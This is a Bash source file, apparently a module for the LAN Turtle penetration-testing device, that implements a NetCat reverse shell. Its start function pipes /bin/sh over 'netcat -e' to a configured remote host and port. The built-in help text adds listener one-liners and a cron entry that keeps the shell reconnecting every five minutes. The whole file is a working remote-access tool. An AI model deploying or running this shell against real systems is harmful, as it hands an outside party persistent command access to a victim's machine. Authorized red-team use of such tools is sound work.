lanturtle-modules/modules/netcat-revshell

106 lines
2.9 KiB
Bash
Executable File

#!/bin/bash /usr/lib/turtle/turtle_module
VERSION="1.0"
DESCRIPTION="NetCat Reverse Shell"
CONF=/tmp/netcatrevshell.form
: ${DIALOG_OK=0}
: ${DIALOG_CANCEL=1}
: ${DIALOG_HELP=2}
: ${DIALOG_EXTRA=3}
: ${DIALOG_ITEM_HELP=4}
: ${DIALOG_ESC=255}
function start {
touch /tmp/netcat.pid
if kill -0 $(cat /tmp/netcat.pid) 2>/dev/null; then
echo "NetCat Reverse Shell already running"
else
if [ -s /etc/config/netcatrevshell ]
then
host=$(uci get netcatrevshell.host)
port=$(uci get netcatrevshell.port)
echo "Starting NetCat Reverse Shell to $host:$port"
netcat -e /bin/sh "$host" "$port" & echo $! > /tmp/netcat.pid
else
echo "NetCat Reverse Shell not configured"
fi
fi
}
function stop {
touch /tmp/netcat.pid
if kill -0 $(cat /tmp/netcat.pid) 2>/dev/null; then
echo "Stopping NetCat Reverse Shell"
kill $(cat /tmp/netcat.pid)
kill $(ps | grep [/]bin/sh | awk '{print $1}')
else
echo "NetCat Reverse Shell not running"
fi
}
function status {
if [ -s /tmp/netcat.pid ]
then
if kill -0 $(cat /tmp/netcat.pid) 2>/dev/null; then
echo "1"
else
echo "0"
fi
else
echo "0"
fi
}
function configure {
if [ -s /etc/config/netcatrevshell ]
then
nc_host=$(uci get netcatrevshell.host)
nc_port=$(uci get netcatrevshell.port)
else
touch /etc/config/netcatrevshell
fi
dialog --ok-label "Submit" \
--help-button \
--title "NetCat Reverse Shell Configuration" \
--form "\n\
This module initiates a simple TCP reverse shell (/bin/sh) using NetCat to the specified host/port.\n \n\n" 11 60 2\
"Host:" 1 1 "$nc_host" 1 12 200 0 \
"Port:" 2 1 "$nc_port" 2 12 200 0 \
2>$CONF
return=$?
case $return in
$DIALOG_OK)
cat $CONF | {
read -r nc_host
read -r nc_port
touch /etc/config/netcatrevshell
uci set netcatrevshell.host="$nc_host"
uci set netcatrevshell.port="$nc_port"
uci commit netcatrevshell
rm $CONF
clear
};;
$DIALOG_CANCEL)
rm $CONF
clear
exit;;
$DIALOG_HELP)
dialog --title "Help" \
--msgbox "\
This very basic Reverse Shell uses NetCat to bind a shell from /bin/sh to the specified host and port.\n\n\
A netcat listener should be configured to accept the incoming connection. For example:\n\n\
netcat -l -v -p 8080\n\n\
You may wish to keep the netcat listener running and accepting connections even after a disconnect. Some versions of netcat support the '-k' argument. Alternatively, on Linux, one may use the oneliner 'while true; do netcat -lvp 8080; done' to restart after disconnects.\n\n\
When started, this module will not spawn a new instance of netcat if it is already running.\n\n\
In the event the netcat reverse shell dies, one may consider adding '*/5 * * * * start netcat-revshell' to the crontab to ensure a connection is attempted every 5 minutes.
" 20 60
configure
;;
$DIALOG_ESC)
clear;;
esac
}